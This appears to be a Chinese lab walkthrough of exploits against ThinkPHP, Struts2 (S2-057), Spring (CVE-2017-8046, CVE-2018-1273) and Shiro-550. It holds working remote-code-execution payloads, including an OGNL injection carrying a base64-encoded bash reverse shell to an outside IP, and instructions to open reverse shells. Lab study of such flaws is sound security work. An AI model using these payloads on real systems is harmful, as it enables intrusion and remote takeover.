当前位置: 首页 > news >正文

常见框架漏洞

一、ThinkPHP

启动环境并访问

紧接着我们运行远程命令,执行以下poc:?  s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami来查看是否可以执行

接下来我们反弹shell即可

二、struts2

S2-057远程执行代码漏洞

启动环境并访问

接下来我们使用poc查看是否会执行http://121.40.229.129:8081/struts2-showcase/${(123+123)}/actionChain1.action,查看中间是否执行

发现执行,我们接下来插入攻击语句即可

$%7B%0D%0A(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request%5B'struts.valueStack'%5D.context).(#cr=#ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash%20-c%20%7Becho,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Mi4yLjg2Lzg4ODggMD4mMQ==%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))%7D

反弹到我们服务器的8888端口,将反弹shell的命令经过base64编码

紧接着,我们开启监听

紧接着反弹即可

三、spring

CVE-2017-8046

首先开启环境并监听

紧接着在网址后面拼接/customers/1,紧接着抓包并修改请求方法

接下来进入容器查看是否执行成功

CVE-2018-1273

启动环境并访问

接下来在网站后面拼接/users

接下来填写登录信息,然后抓包并添加poc:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t ouch /tmp/111")]=&password=&repeatedPassword=

最后进入终端查看

反弹shell则是远程下载文件即可

四、Shiro

Shiro-550

启动环境并访问

我们直接使用工具来判断是否有漏洞

发现存在漏洞,我们在命令执行区添加一个反弹shell的文件,然后开启监听并执行命令即可

http://www.dtcms.com/a/310182.html

相关文章:

  • dify
  • SSL 剥离漏洞
  • vue2实现类似chatgpt和deepseek的AI对话流打字机效果,实现多模型同时对话
  • OpenCV-python小玩意2 摄像头预览时画线以及line的用法
  • Vue 引入字体文件YouSheBiaoTiHei
  • VMware 下 Ubuntu 操作系统下载与安装指南
  • 前沿智能推荐算法:基于多模态图神经网络的隐私保护推荐系统
  • 学习笔记:原子操作与锁以及share_ptr的c++实现
  • 调试 Rust 生成的 WebAssembly
  • OSPF综合实验报告册
  • 1 前言:什么是 CICD 为什么要学 CICD
  • vue打包后如何在本地运行?
  • sqli-labs:Less-17关卡详细解析
  • 数据结构:在链表中查找(Searching in a Linked List)
  • PyTorch分布式训练深度指南
  • Unity 打包程序在大屏上显示的问题、分辨率问题、UI适配问题、字体模糊不清问题
  • androidstudio调试apt
  • 【NLP舆情分析】基于python微博舆情分析可视化系统(flask+pandas+echarts) 视频教程 - 微博评论数据可视化分析-用户评论词云图实现
  • Apple基础(Xcode仨-Singxob)
  • 从零到一:构建基于本地LLM和向量数据库的法律智能问答系统(win11本地搭建)
  • 【C++进阶】一文吃透静态绑定、动态绑定与多态底层机制(含虚函数、vptr、thunk、RTTI)
  • 改进PSO算法!新自组织分层粒子群优化算法,具有变化的时间变化加速系数,附完整代码
  • 交通拥挤识别准确率↑32%:陌讯时空特征融合算法实战解析
  • 【AMD | Docker】超级全面版本:在Docker中验证AMD GPU移动显卡可用性的方法
  • Redis深度剖析:从基础到实战(下)
  • 开源 Arkts 鸿蒙应用 开发(十四)线程--任务池(taskpool)
  • 什么类型网站适合WEB应用防火墙?
  • (27)运动目标检测之对二维点集进行卡尔曼滤波
  • 全国青少年信息素养大赛(无人飞行器主题赛(星际迷航)游记)
  • plc 以太网通讯模块实现:施耐德 PLC 多设备实时数据无缝协同应用案例